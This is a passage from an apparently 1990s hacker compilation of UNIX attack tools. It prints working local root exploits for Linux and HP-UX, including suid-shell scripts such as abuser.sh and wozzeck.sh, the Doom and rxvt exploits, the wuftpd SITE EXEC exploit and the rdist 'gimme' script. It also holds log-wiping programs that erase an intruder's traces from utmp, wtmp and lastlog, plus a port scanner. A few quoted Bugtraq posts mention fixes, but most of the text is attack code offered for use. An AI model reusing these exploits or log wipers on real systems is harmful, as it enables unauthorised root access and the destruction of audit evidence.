printf("%s:%s:%d:%d:%s:%s:%s\n", a->pw_name,a->pw_passwd,a->pw_uid,a->pw_gid, a->pw_gecos,a->pw_dir,a->pw_shell); } /* SunOS 5.0 /etc/shadow */ /* SunOS4.1+c2 /etc/security/passwd.adjunct */ ------------ cut here .......................................................................... . . . 8. Abuse Root Exploit (linux game program) . . . .......................................................................... ---------- cut here There is a security hole in RedHat 2.1, which installs the game abuse, /usr/lib/games/abuse/abuse.console suid root. The abuse.console program loads its files without absolute path names, assuming the user is running abuse from the /usr/lib/games/abuse directory. One of these files in the undrv program, which abuse executes as root. If the user is not in the abuse directory when running this, an arbitrary program can be substituted for undrv, allowing the user to execute arbitrary commands as root. If abuse.console needs to be run by users other than root at the console, provisions need to be made in the code to not execute or load any files as root. Program: /usr/lib/games/abuse/abuse.console suid root Affected Operating Systems: Red Hat 2.1 linux distribution Requirements: account on system Patch: chmod -s /usr/lib/games/abuse/abuse.console Security Compromise: root Author: Dave M. (davem@cmu.edu) Synopsis: abuse.console runs undrv without an absolute pathname while executing as root, allowing a user to substitute the real undrv with an arbitrary program. Exploit: #!/bin/sh # # abuser.sh # exploits a security hole in abuse to create # a suid root shell /tmp/abuser on a linux # Red Hat 2.1 system with the games package # installed. # # For release 2/2/96 - 1 drink credit please. # # by Dave M. (davem@cmu.edu) # echo ================ abuser.sh - gain root on Linux Red Hat 2.1 system echo ================ Checking system vulnerability if test -u /usr/lib/games/abuse/abuse.console then echo ++++++++++++++++ System appears vulnerable. cd /tmp cat << _EOF_ > /tmp/undrv #!/bin/sh /bin/cp /bin/sh /tmp/abuser /bin/chmod 4777 /tmp/abuser _EOF_ cat << _EOF_ >> /tmp/the_wall so ya thought ya might like to go to the show to feel the warm thrill of confusion that space cadet glow tell me is something eluding you sunshine? is this not what you expected to see? if you wanna find out what's behind these cold eyes you'll just have to claw your way through this disguise _EOF_ chmod +x /tmp/undrv PATH=/tmp echo ================ Executing Abuse /usr/lib/games/abuse/abuse.console /bin/rm /tmp/undrv /bin/rm /tmp/the_wall if test -u /tmp/abuser then echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/abuser else echo ---------------- Exploit failed fi else echo ---------------- This machine does not appear to be vulnerable. fi ----------- cut here .......................................................................... . . . 9. Doom (game) root exploit - makes suid root shell . . . .......................................................................... ----------- Start reading From bo@ebony.iaehv.nl Tue Dec 17 18:53:18 1996 Date: Tue, 17 Dec 1996 10:18:24 +0100 From: Bo <bo@ebony.iaehv.nl> To: Multiple recipients of list BUGTRAQ <BUGTRAQ@netspace.org> Subject: Re: Linux: killmouse/doom > From: Joe Zbiciak <im14u2c@cegt201.bradley.edu> > Subject: Re: Linux: exploit for killmouse. > > Which reminds me, there's a bigger hole in Doom. It doesn't drop its > root permissions soon enough! The user is allowed to set a sound server > in his/her .doomrc. Normally, this is set to "sndserver". Howver, this > can be set to *any* program, and that program runs as root!! Yes, very true. And just in case anybody collects these scripts, here's the obvious one: ------------ CUT HERE -------------- #!/bin/sh # Tue Dec 17 10:02:20 MET 1996 Bo echo 'sndserver "/tmp/sndserver"' > .doomrc cat > /tmp/sndserver.c << EOF #include <stdio.h> #include <unistd.h> main() { if (fork()) while (getc(stdin)); else system("cp /bin/sh /tmp; chmod +s /tmp/sh"); /* or whatever you like to do */ } EOF gcc /tmp/sndserver.c -o /tmp/sndserver ------------ CUT HERE -------------- The fork() is just so that doom runs on nicely without locking up the keyboard and sndserver gobbles up all the sound data send to it. Run the script, start sdoom, quit the normal way, and execute /tmp/sh. Thanks for pointing it out, Joe. Regards, Bo. -- "Heisenberg may have been here". --------------- end of read .......................................................................... . . . 10. dosmenu suid root exploit . . . .......................................................................... --------- read In Debian 1.1, the optional DOSEMU package installs /usr/sbin/dos setuid root. This is a serious security hole which can be exploited to gain access to any file on the system. Package: dosemu Version: 0.64.0.2-9 ------- start of cut text -------------- $ cat /etc/debian_version 1.1 $ id uid=xxxx(quinlan) gid=xxxx(quinlan) groups=xxxx(quinlan),20(dialout),24(cdrom) [quinlan:~]$ ls -al /usr/bin/dos -rwsr-xr-x 1 root root 569576 Oct 24 00:05 /usr/bin/dos $ ls -al /root/foo -rw------- 1 root root 1117 Nov 13 23:10 /root/foo $ dos -F /root/foo [ Prints /root/foo, which is not readable by user `quinlan'. ] ------- Cut here I expect there may be other holes in dosemu other than this one that can be exploited if it is installed setuid root. It took about 60 seconds to find this hole once I realized /usr/bin/dos was setuid root. Dan Note: This security hole can be corrected by removing the suid bit from /usr/bin/dos: ---------------------------- $ chmod u-s /usr/bin/dos ---------------------------- Jonathan ----------- end of read .......................................................................... . . . 11. Doom root killmouse exploit . . . .......................................................................... System: Probably Linux specific. Slackware 3.0 (installs Linux 1.2.13) which have gpm utility and/or the Doom package installed are vulnerable. Other distributions might be too. Impact: Local users can acquire root status. Background: The problem is the killmouse/startmouse command that is part of Doom package on Linux systems. It is actually a C-wrapper that runs two scripts (killmouse.sh/startmouse.sh). It runs suid root. Problem: I would try to describe the problem but I can't stop laughing. Exploit: This can be exploited in a few similar ways. Here's just one. Let's assume the gpm utility is not running. We can't start it up ourselves as gpm is only to be run by root. So we'll use startmouse to fire it up: $ touch /tmp/gpmkilled $ /usr/games/doom/startmouse ps -aux | grep gpm bo 1436 0.0 2.0 40 312 v03 R 16:33 0:00 grep gpm root 1407 0.0 2.4 42 368 ? S 16:24 0:00 /usr/bin/gpm t ms Fine, it's running. Now we'll use killmouse to kill the process, but first we set our umask to 0 and link /tmp/gpmkilled to /root/.rhosts: $ umask 0 $ ln -s /root/.rhosts /tmp/gpmkilled $ /usr/games/doom/killmouse 1407 ? S 0:00 gpm t ms $ ls -l /root/.rhosts -rw-rw-rw- 1 root users 0 Dec 13 16:44 /root/.rhosts $ echo localhost bo > /root/.rhosts $ rsh -l root localhost sh -i bash# Bingo. On some systems gpm might not be started in /etc/rc.d/rc.local so the startmouse script will fail. But gpm might be running already. If neither of these conditions are met, note that startmouse.sh creates /tmp/gpmscript and runs it in a shell. There's a window of time between creating the script and executing it, so we have a nice race condition here; it can be replaced with anything you like prior to execution. Solution: Remove setuid bits of killmouse/startmouse. Better yet - nuke them. While your at it, nuke Doom too - it's a stupid game anyway :-) Best regards, Bo (bo@ebony.iaehv.nl) killmouse exploit ------------------ cut here /usr/games/doom/startmouse.sh: #!/bin/sh if [ -r /tmp/gpmkilled ]; then /usr/bin/grep gpm /etc/rc.d/rc.local > /tmp/gpmscript /bin/sh /tmp/gpmscript; /bin/rm /tmp/gpmscript /tmp/gpmkilled fi /usr/games/doom/killmouse.sh: #!/bin/sh if /bin/ps ax | /usr/bin/grep -v grep | /usr/bin/grep "gpm" ; then GPM_RUNNING=true; /bin/killall gpm; /bin/touch /tmp/gpmkilled fi ----------- cut here .......................................................................... . . . 12. Root exploit for resize icons . . . .......................................................................... There is a security hole in RedHat 2.1, which installs the program /usr/bin/resizecons suid root. The resizecons program allows a user to change the videmode of the console. During this process, it runs the program restoretextmode without an absolute pathname, assuming the correct version will be found in the path, while running with root privileges. It then executes setfont in the same manner. By setting the path to find a rogue restoretextmode, a user can execute an arbitrary program as root. As a more amusing aside, the file /tmp/selection.pid is read and the pid contained within is sent a SIGWINCH, allowing a user on the system to force a redraw of the screen to an arbitrary process (that handles SIGWINCH calls) on the machine. If /usr/bin/resizecons needs to be run by users other than root at the console, provisions need to be made in the code to execute the outside utilities with absolute pathnames, and to check access rights on files before opening. Program: /usr/bin/resizecons Affected Operating Systems: Red Hat 2.1 linux distribution Requirements: account on system Temporary Patch: chmod -s /usr/bin/resizecons Security Compromise: root Author: Dave M. (davem@cmu.edu) Synopsis: resizecons runs restoretextmode without an absolute pathname while executing as root, allowing a user to substitute the real program with arbitrary commands. ----------cut here wozzeck.sh: #!/bin/sh # # wozzeck.sh # exploits a security hole in /usr/bin/resizecons # to create a suid root shell in /tmp/wozz on a # linux Red Hat 2.1 system. # # by Dave M. (davem@cmu.edu) # echo ================ wozzeck.sh - gain root on Linux Red Hat 2.1 system echo ================ Checking system vulnerability if test -u /usr/bin/resizecons then echo ++++++++++++++++ System appears vulnerable. cd /tmp cat << _EOF_ > /tmp/313x37 This exploit is dedicated to Wozz. Use it with care. _EOF_ cat << _EOF_ > /tmp/restoretextmode #!/bin/sh /bin/cp /bin/sh /tmp/wozz /bin/chmod 4777 /tmp/wozz _EOF_ /bin/chmod +x /tmp/restoretextmode PATH=/tmp echo ================ Executing resizecons /usr/bin/resizecons 313x37 /bin/rm /tmp/restoretextmode /bin/rm /tmp/313x37 if test -u /tmp/wozz then echo ++++++++++++++++ Exploit successful, suid shell located in /tmp/wozz else echo ---------------- Exploit failed fi else echo ---------------- This machine does not appear to be vulnerable. fi -------------- cut here .......................................................................... . . . 13. Root console exploit for restorefont . . . .......................................................................... Linux 'restorefont' Security Holes by FEH Staff Linux's svgalib utilities, required to be suid root, have a problem in that they do not revoke suid permissions before reading a file. This is exploited in the restorefont utility, but similar bugs exist in other svgalib utilities. The restorefont utility serves two functions. First, it will read a font from a file and write it to the console as the font. Second, it will read a font from the console and write it out to a file. Luckily, the specific bug in restorefont can only be exploited if someone is at the console, reducing its overall impact on the security of the system as a whole. In writing the utilities, the authors are cognizant of the fact that when writing out the font, suid permissions must first be given up; it is in fact commented as such in the code. However, when reading in a font, the program is still running with full suid root permissions. This allows us to read in any file for the font that root could access (basically, anything). The applicable code to read in the file is shown below: #define FONT_SIZE 8192 unsigned char font[FONT_SIZE]; if (argv[1][1] == 'r') { FILE *f; f = fopen(argv[2], "rb"); if (f == NULL) { error: perror("restorefont"); exit(1); } if(1!=fread(font, FONT_SIZE, 1, f)) { if(errno) goto error; puts("restorefont: input file corrupted."); exit(1); } fclose(f); We can see from this that the file to be read in has to be at least 8k, as if it is not, the program will produce an error and exit. If the file is at least 8k, the first 8k are read into the buffer, and the program proceeds to set whatever the contents of the file are to the font: vga_disabledriverreport(); vga_setchipset(VGA); /* avoid SVGA detection */ vga_init(); vga_setmode(G640x350x16); vga_puttextfont(font); vga_setmode(TEXT); At this point, the console will now look quite unreadable if you are reading something other than a font from that file. But, the data that is put into the font is left untouched and is readable using the -w option of restorefont. We then read the font back from video memory to a new file, and our job is complete, we have read the first 8k of a file we shouldn't have had access to. To prevent detection of having run this, we probably shouldn't leave an unreadable font on the screen, so we save and then restore the original font before reading from the file. The complete exploit is shown below: Program: restorefont, a svgalib utility Affected Operating Systems: linux Requirements: logged in at console Security Compromise: user can read first 8k of any file of at least 8k in size on local filesystems Synopsis: restorefont reads a font file while suid root, writing it to video memory as the current vga font; anyone at console can read the current font to a file, allowing you to use video memory as an 8k file buffer. ------------- rfbug.sh: --------------------cut here #!/bin/sh restorefont -w /tmp/deffont.tmp restorefont -r $1 restorefont -w $2 restorefont -r /tmp/deffont.tmp rm -f /tmp/deffont.tmp -----------------------------------cut here .......................................................................... . . . 14. Root rxvt X server exploit . . . .......................................................................... Program: rxvt Affected Operating Systems: Linux Slackware 3.0, RedHat 2.1, others with rxvt suid root (and compiled with PRINT_PIPE) Requirements: account on system, X server Temporary Patch: chmod -s /usr/X11R6/bin/rxvt Security Compromise: root Author: Dave M. (davem@cmu.edu) Synopsis: rxvt fails to give up root privileges before opening a pipe to a program that can be specified by the user. Exploit: 1. Set DISPLAY environment variable if necessary so you can use x clients. 2. In user shell: $ echo 'cp /bin/sh /tmp/rxsh;chmod 4755 /tmp/rxsh' > /tmp/rxbug $ chmod +x /tmp/rxbug $ rxvt -print-pipe /tmp/rxbug 3. In rxvt xclient: $ cat ESC[5i ESC[4i (The client will close at this point with a broken pipe) 4. $ /tmp/rxsh # whoami root # .......................................................................... . . .15. Root wuftpd exploit . .......................................................................... The following is gleaned from the BugTraq mailing list: ------------------------------------------------------- Since Bugtraq is exceptionally quiet lately, I though I should make it come alive again with this discussion of the bug that was reported in the wu.ftpd that comes with some Slackware distributions of Linux. The report was just before Bugtraq went down for a long time, but I've found the bug still to be present on all the Linux machines that I have access to. So maybe it needs to be brought a little more in the open. Here we go: ObBug: - Short description of the bug It involves wu.ftpd being misconfigured at compile time and allowing SITE EXEC access to /bin (for anonymous or otherwise chroot-ed users this is ~ftp/bin). Now if in this /bin resides a program that gives access to executables outside /bin, but in the users reach (such as /bin/bash that gives access to the user's homedir), this opens up a root vulnerability. This should have been set to /bin/ftp-exec and which be set by the _PATH_EXECPATH variable in src/pathnames.h before compiling. The wu-ftpd-2.4_linux.tgz that I found somewhere on the net has this securely set as default value. - How to check ? $ ftp -n localhost user: <userid> password: <passwd> ftp> quote site exec bash -c id If vulnerable it gives here: uid=0, gid=0, euid=<yourid>, egid=<your-gids> Of course, bash should not be available at all - How to exploit (in case your sysadmin or you think the above is not a problem) go to your homedir and make a program: duh.c (or whatever) main() { seteuid(0); setegid(0); system("/bin/cp /bin/sh ./sh"); system("/bin/chmod 6755 ./sh"); } $ make duh $ ftp -n localhost (and login) user: <userid> password: <passwd> ftp> quote site exec bash -c duh ftp> quit $ ./sh bash# (voila, QED) - How to fix? Get the source of wu-ftpd-2.4.linux.tar.gz (stock wu-ftpd-2.4 from wuarchive doesn't compile on linux) and compile it; you might want to define the _PATH_PIDNAMES and _PATH_XFERLOG to other values there...(/usr/adm/ftp.pids-%s and /usr/adm/xferlog for example). If you cannot find that I can email the source to you,...if you trust the source I took somewhere unmodified and if you trust me ;-) An arch search for wu-ftpd-2.4 will give you sites too. I can remember that I got it that way. $) Henri Karrenbeld ----------------------------------------------------------------------------- Hardware, n.: The parts of a computer system that can be kicked. ----------------------------------------------------------------------------- .......................................................................... . . . 16. A shell script called gimme, used to read any system file . .......................................................................... ----------------cut here #! /bin/sh # GIMME - "gimme' a file" # Demonstrate rdist's ability to give me permission to access anything. # # gimme <pathname> [<permission> [<directory>]] # <pathname> is the target file. # <permission> is the octal mode to which the file access permission # should be set. Note that this may not be effective unless # either the SUID (4000) or SGID (2000) bits are also requested. # <directory> is the target directory for rdist to use if a hard # link is desired. Note that the user must have permission # to create this directory, it must be on the same filesystem # as the target file, and the target file must not be a # directory. This option is necessary to change the ownership # of the target if chown() of a symbolic link modifies the # link itself, and not the file it refers to. # dirname=gimme$$ deftemp=/tmp defperm=6777 if [ $1x = x ]; then echo "Usage: $0 <pathname> [<permission> [<directory>]]" >&2 exit 1 fi if [ $2x != x ]; then perm=$2 else perm=$defperm fi if [ $3x != x ]; then link="ln" temp=$3/$dirname target=$1 else link="ln -s" temp=$deftemp/$dirname case $1 in /*) target=$1 ;; *) target=`pwd`/$1 ;; esac fi trap "rm -fr $temp; exit 1" 1 2 15 umask 66 mkdir $temp; if [ $? != 0 ]; then exit 1 fi set `whoami` $LOGNAME user=$1 set daemon `groups` while [ $# != 1 ]; do shift done group=$1 ( echo "t$temp/something" echo "R0 $perm 1 0 $user $group " while [ ! -f $temp/rdist* ]; do sleep 1 done set $temp/rdist* rm -f $1 if $link $target $1 >&2; then echo "" | dd bs=3 conv=sync 2>/dev/null echo "" echo 0 > $temp/status else echo 1 > $temp/status fi exit ) | rdist -Server status=`cat $temp/status` rm -fr $temp exit $status -----------------------------cut here ********************************************* * Appendix IV - Other UNIX system utilities * ********************************************* .......................................................................... . . . 1. Cloak v1.0 Wipes your presence on SCO, BSD, Ultrix, and HP/UX UNIX . .......................................................................... ------------------ cut here /* UNIX Cloak v1.0 (alpha) Written by: Wintermute of -Resist- */ /* This file totally wipes all presence of you on a UNIX system*/ /* It works on SCO, BSD, Ultrix, HP/UX, and anything else that */ /* is compatible.. This file is for information purposes ONLY!*/ /*--> Begin source... */ #include <fcntl.h> #include <utmp.h> #include <sys/types.h> #include <unistd.h> #include <lastlog.h> main(argc, argv) int argc; char *argv[]; { char *name; struct utmp u; struct lastlog l; int fd; int i = 0; int done = 0; int size; if (argc != 1) { if (argc >= 1 && strcmp(argv[1], "cloakme") == 0) { printf("You are now cloaked\n"); goto start; } else { printf("close successful\n"); exit(0); } } else { printf("usage: close [file to close]\n"); exit(1); } start: name = (char *)(ttyname(0)+5); size = sizeof(struct utmp); fd = open("/etc/utmp", O_RDWR); if (fd < 0) perror("/etc/utmp"); else { while ((read(fd, &u, size) == size) && !done) { if (!strcmp(u.ut_line, name)) { done = 1; memset(&u, 0, size); lseek(fd, -1*size, SEEK_CUR); write(fd, &u, size); close(fd); } } } size = sizeof(struct lastlog); fd = open("/var/adm/lastlog", O_RDWR); if (fd < 0) perror("/var/adm/lastlog"); else { lseek(fd, size*getuid(), SEEK_SET); read(fd, &l, size); l.ll_time = 0; strncpy(l.ll_line, "ttyq2 ", 5); gethostname(l.ll_host, 16); lseek(fd, size*getuid(), SEEK_SET); close(fd); } } ---------------cut here ............................................................................. . . . 2. invisible.c Makes you invisible, and works on some SunOS without root . ............................................................................. ----------- cut here /* invisible.c - a quick hack courtesy of the rogue */ /* erases your presence when root, or partially erases when on a sun and not root */ /* peace, dudes */ #include <fcntl.h> #include <utmp.h> #include <sys/types.h> #include <unistd.h> #include <lastlog.h> main(argc, argv) int argc; char *argv[]; { char *name; struct utmp u; struct lastlog l; int fd; int i = 0; int done = 0; int size; name = (char *)(ttyname(0)+5); size = sizeof(struct utmp); fd = open("/etc/utmp", O_RDWR); if (fd < 0) perror("/etc/utmp"); else { while ((read(fd, &u, size) == size) && !done) { if (!strcmp(u.ut_line, name)) { done = 1; memset(&u, 0, size); lseek(fd, -1*size, SEEK_CUR); write(fd, &u, size); close(fd); } } } memset(&u, 0, size); fd = open("/var/adm/wtmp", O_RDWR | O_TRUNC); if (fd < 0) perror("/var/adm/wtmp"); else { u.ut_time = 0; strcpy(u.ut_line, "~"); strcpy(u.ut_name, "shutdown"); write(fd, &u, size); strcpy(u.ut_name, "reboot"); write(fd, &u, size); close(fd); } size = sizeof(struct lastlog); fd = open("/var/adm/lastlog", O_RDWR); if (fd < 0) perror("/var/adm/lastlog"); else { lseek(fd, size*getuid(), SEEK_SET); read(fd, &l, size); l.ll_time = 0; strncpy(l.ll_line, "ttyq2 ", 5); gethostname(l.ll_host, 16); lseek(fd, size*getuid(), SEEK_SET); write(fd, &l, size); close(fd); } } ----------- cut here .......................................................................... . . . 3. SySV Program that makes you invisible . .......................................................................... --------- cut here /* MME - MakeME, Version 1.00 for SySV / Source Compatible machines MME will allow you to remove yerself from the UTMP file, change what name appears for you in UTMP, or change what TTY you appear to be on. If you modify this program or incorporate some of these routines into another program, please somewhere in the program tell where you got them from.. namely, put in some credits to me & This program , so you don't "playgerize". It makes me mad when someone modifies someone else's work then pawns it off as their own original piece. The credits can even be in a comment somewhere in the source instead of visual to the user. syntax: mme mme login_name mme login_name new_tty in order to change tty name, you must first supply a login name then a ttyname. You MUST have write perm's to /etc/utmp to modify the main utmp file. */ #include <stdio.h> #include <fcntl.h> #include <sys/types.h> #include <utmp.h> #include <sys/stat.h> char *mytty; /* For an exact match of ut_line */ char *backup_utmp = "cp /etc/utmp /tmp/utmp.bak"; struct utmp *user; main(argc,argv) int argc; char *argv[]; { int good= 0,cnt = 0,start = 1,cn = 0, cl = 0,index = 0; char err[80]; if (argc >= 2) cn = 1; if (argc == 3) cl = 1; system(backup_utmp); printf("Welcome to MME 1.00 By Sir Hackalot\n"); printf("Another PHAZESOFT Productions\n"); printf("Status:"); if (cn == 1) printf("Changing your login to %s\n",argv[1]); if (cl == 1) printf("Changing your tty to %s\n",argv[2]); if (cl == 0 && cn == 0) printf("Removing you from utmp\n"); utmpname("/etc/utmp"); /* The Below Section finds OUR entry, even if more than 1 of the same name of us is logged on. It finds YOUR tty, looks in utmp until it finds your tty, then "cnt" holds your index number */ mytty = strrchr(ttyname(0),'/'); /* Goto the last "/" */ strcpy(mytty,++mytty); /* Make a string starting one pos greater */ while (good != 1) { user = getutent(); cnt++; if (strcmp(user->ut_line,mytty) == 0) good =1; } utmpname("/etc/utmp"); /* Reset file pointer */ for(start = 0;start < cnt;start++) { user = getutent(); /* Move the file pointer to where we are */ } /* Below: If we did not supply a command line arg to change name, etc, make us invisible from WHO. WHO only displays USER_PROCESS types, as does "w", "whodo" and all who variations. You WILL be seen if they do who -l (or one some systems -L) if we did supply an argument make SURE we DO show up. */ if (argc == 1) user->ut_type = LOGIN_PROCESS; /* Become invisible */ else user->ut_type = USER_PROCESS; /* ABove: You can change it to: else { user->ut_type = LOGIN_PROCESS; strcpy(user->ut_name,"LOGIN"); } to totally hide your-self. On some systems, if you do it, it will go thru the login process... But that is rare. AT any-rate, for safety, i left out the strcpy */ /* Below: If we entered a new login name, change to that. If we entered a new tty, change to that. */ if (argc == 2) strcpy(user->ut_name,argv[1]); if (argc == 3) strcpy(user->ut_line,argv[2]); pututline(user); /* Rewrite our new info */ endutent(); /* Tell the utmp functions we are through */ printf("Delete /tmp/utmp.bak if all is well. Else, copy it to /etc/utmp\n"); } ----------- cut here ......................................................................... . . . 4. UNIX Port scanner . ......................................................................... ----------- cut here /* * internet port scanner * * This program will scan a hosts TCP ports printing all ports that accept * connections, and if known, the service name. * This program can be trivially altered to do UDP ports also. * * Kopywrong (K) Aug. 25, '94 pluvius@io.org * * Hey kiddies, this is a C program, to run it do this: * $ cc -o pscan pscan.c * $ pscan <host> [max port] * * No, this will not get you root. * * Changes: * Changed fprintf to printf in line 34 to work with my Linux 1.1.18 box * Netrunner 1/18/95 11:30pm * */ static char sccsid[] = "@(#)pscan.c 1.0 (KRAD) 08/25/94"; #include <stdio.h> #include <sys/types.h> #include <sys/socket.h> #include <netinet/in.h> #include <netdb.h> #define MAX_PORT 1024 /* scan up to this port */ int s; struct sockaddr_in addr; char rmt_host[100]; int skan(port) int port; { int r; s = socket(PF_INET, SOCK_STREAM, IPPROTO_TCP); if (s < 0) { /* fprintf("ERROR: socket() failed\n"); */ /* Changed to printf for my Linux 1.1.18 box */ printf("ERROR: socket() failed\n"); exit(0); } addr.sin_family = PF_INET; addr.sin_port = port; addr.sin_addr.s_addr = inet_addr(rmt_host); r = connect(s,(struct sockaddr *) &addr, sizeof(addr)); close(s); if (r < 0) { return (1 == 0); } return (1 == 1); } main(argc,argv) int argc; char *argv[]; { int a,b,c,d,e,f; struct hostent *foo; struct servent *bar; if (argc < 2) { fprintf(stderr,"usage: %s <host> [highest port]\n",argv[0]); exit(0); } if (sscanf(argv[1],"%d.%d.%d.%d",&a,&b,&c,&d) != 4) { foo = gethostbyname(argv[1]); if (foo == NULL) { fprintf(stderr,"error: cannot resolve host %s\n",argv[1]); exit(0); } sprintf(rmt_host,"%d.%d.%d.%d",(unsigned char )foo->h_addr_list[0][0], (unsigned char ) foo->h_addr_list[0][1], (unsigned char ) foo->h_addr_list[0][2], (unsigned char ) foo->h_addr_list[0][3]); } else { strncpy(rmt_host,argv[1],99); } if (argc > 2) { f = atoi(argv[2]); } else f = MAX_PORT; fprintf(stdout,"Scanning host %s - TCP ports 1 through %d\n",rmt_host,f); for (e =1;e<=f;e++) { char serv[100]; if (skan(e)) { bar = getservbyport(e,"tcp"); printf("%d (%s) is running.\n",e,(bar == NULL) ? "UNKNOWN" : bar->s_name); } } } ------------ cut here ......................................................................... . . . 5. Remove wtmp entries by tty number or username . ......................................................................... ---------- cut here /* This program removes wtmp entries by name or tty number */ #include <utmp.h> #include <stdio.h> #include <sys/file.h> #include <sys/fcntlcom.h> void usage(name) char *name; { printf("Usage: %s [ user | tty ]\n", name); exit(1); } void main (argc, argv) int argc; char *argv[]; { struct utmp utmp; int size, fd, lastone = 0; int match, tty = 0, x = 0; if (argc>3 || argc<2) usage(argv[0]); if (strlen(argv[1])<2) { printf("Error: Length of user\n"); exit(1); } if (argc==3) if (argv[2][0] == 'l') lastone = 1; if (!strncmp(argv[1],"tty",3)) tty++; if ((fd = open("/usr/adm/wtmp",O_RDWR))==-1) { printf("Error: Open on /usr/adm/wtmp\n"); exit(1); } printf("[Searching for %s]: ", argv[1]); if (fd >= 0) { size = read(fd, &utmp, sizeof(struct utmp)); while ( size == sizeof(struct utmp) ) { if ( tty ? ( !strcmp(utmp.ut_line, argv[1]) ) : ( !strncmp(utmp.ut_name, argv[1], strlen(argv[1])) ) && lastone != 1) { if (x==10) printf("\b%d", x); else if (x>9 && x!=10) printf("\b\b%d", x); else printf("\b%d", x); lseek( fd, -sizeof(struct utmp), L_INCR ); bzero( &utmp, sizeof(struct utmp) ); write( fd, &utmp, sizeof(struct utmp) ); x++; } size = read( fd, &utmp, sizeof(struct utmp) ); } } if (!x) printf("No entries found."); else printf(" entries removed."); printf("\n"); close(fd); } ------------- cut here ............................................................................ . . . 6. SunOS wtmp editor . ............................................................................ ---------- cut here /* /var/adm/wtmp editor for Sun's Written by gab, this will make a file wtmp.tmp then just copy it over /var/adm/wtmp and chmod 644 it */ #include <stdio.h> #include <utmp.h> #include <fcntl.h> main(argc,argv) int argc; char *argv[]; { int fp=-1,fd=-1; struct utmp ut; int i=0; char name[8]; if (argc!=2) { fprintf(stderr,"usage: %s accountname\n\r",argv[0]); exit(2);} strcpy(name,argv[1]); if (fp=open("/var/adm/wtmp",O_RDONLY)) { fd=open("wtmp.tmp",O_WRONLY|O_CREAT); while (read(fp,&ut,sizeof(struct utmp))==sizeof(struct utmp)) { if (strncmp(ut.ut_name,name,strlen(name))) write(fd,&ut,sizeof(struct utmp)); i++; } close(fp); close(fd); } printf("Total: %d\n\r", i); } ------------ cut here ....................................................................... . . . 7. SunOS 4+ Zap your self from wtmp, utmp and lastlog . ....................................................................... ------------- cut here /* Title: Zap.c (c) rokK Industries Sequence: 911204.B Syztems: Kompiles on SunOS 4.+ Note: To mask yourself from lastlog and wtmp you need to be root, utmp is go+w on default SunOS, but is sometimes removed. Kompile: cc -O Zap.c -o Zap Run: Zap <Username> Desc: Will Fill the Wtmp and Utmp Entries corresponding to the entered Username. It also Zeros out the last login data for the specific user, fingering that user will show 'Never Logged In' Usage: If you cant find a usage for this, get a brain. */ #include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <fcntl.h> #include <utmp.h> #include <lastlog.h> #include <pwd.h> int f; void kill_tmp(name,who) char *name, *who; { struct utmp utmp_ent; if ((f=open(name,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open("/usr/adm/lastlog", O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_tmp("/etc/utmp",argv[1]); kill_tmp("/usr/adm/wtmp",argv[1]); kill_lastlog(argv[1]); printf("Zap!\n"); } else printf("Error.\n"); } ------------ cut here ************************************ * Appendix V - Other Unix Exploits * ************************************ .......................................................................... . . . 1. HP-UX Root vhe_u_mnt exploit . .......................................................................... ------- cut here /*** * * HP-UX /usr/etc/vhe/vhe_u_mnt bug exploit. * * This bug is exhibited in all versions of HP-UX that contain * /usr/etc/vhe/vhe_u_mnt setuid to root. * * This program written by pluvius@io.org * The exploit code itself written by misar@rbg.informatik.th-darmstadt.de * * I found that the exploit code didn't always work due to a race between * the child and the parent, and that a link() called failed due to * the fact that user directories and the /tmp are in different file systems * so you must create a symlink. * I added in a call to alarm() so that the timing between the two processes * is ok.. * ***/ #include <stdio.h> #include <stdlib.h> #include <pwd.h> #include <string.h> #include <unistd.h> #include <signal.h> #include <netdb.h> #include <sys/wait.h> #include <sys/stat.h> #include <sys/utsname.h> #define BUGGY_PROG "/usr/etc/vhe/vhe_u_mnt" #define NAME "<defunct>" int test_host() { struct utsname name; uname(&name); return !strcmp(name.sysname,"HP-UX"); } int check_mount() { struct stat my_buf; if (stat(BUGGY_PROG, &my_buf)) return 0; return !((my_buf.st_mode & S_ISUID) != S_ISUID); } void pause_handler() { signal(SIGALRM,pause_handler); } int rhost_user(user) char *user; { struct passwd *info; char homedir[80]; int fd[2]; int procno; struct stat my_buf; int fsize; info = getpwnam(user); if (info==NULL) { fprintf(stderr,"ERROR: Unknown user %s\n",user); exit(-3); } strcpy(homedir,info->pw_dir); if (homedir[strlen(homedir)-1] != '/') strcat(homedir,"/"); strcat(homedir,".rhosts"); signal(SIGALRM,pause_handler); memset(my_buf,0,sizeof(my_buf)); stat(homedir,&my_buf); fsize = my_buf.st_size; /* now the exploit code... slightly modified.. but mostly from the source */ /* by misar@rbg.informatik.th-darmstadt.de */ pipe(fd); if (!(procno=fork())) { close(0); dup(fd[0]); close(fd[1]); close(1); close(2); alarm(2); /* wait for other process */ nice(5); execl(BUGGY_PROG,NAME,NULL); } else { FILE *out; char listfile[25]; char mntfile[25]; struct stat dummy; close(1); dup(fd[1]); close(fd[0]); write(1,"+\n",2); sprintf(listfile,"/tmp/vhe_%d",procno+2); sprintf(mntfile,"/tmp/newmnt%d",procno+2); while (stat(listfile,&dummy)); unlink(listfile); out=fopen(listfile,"w"); fputs("+ +\n",out); fclose(out); unlink(mntfile); symlink(homedir,mntfile); waitpid(procno,NULL,0); } stat(homedir,&my_buf); return (fsize != my_buf.st_size); } void main(argc,argv) int argc; char *argv[]; { int i; int rhost_root = 0; char userid[10]; if (!test_host()) { fprintf(stderr,"ERROR: This bug is only exhibited by HP-UX\n"); exit(-1); } if (!check_mount()) { fprintf(stderr, "ERROR: %s must exist and be setuid root to exploit this bug\n", BUGGY_PROG); exit(-2); } for (i=0;(i<5)&&(!rhost_root);i++) { fprintf(stderr,"Attempting to .rhosts user root.."); if (!rhost_user("root")) { 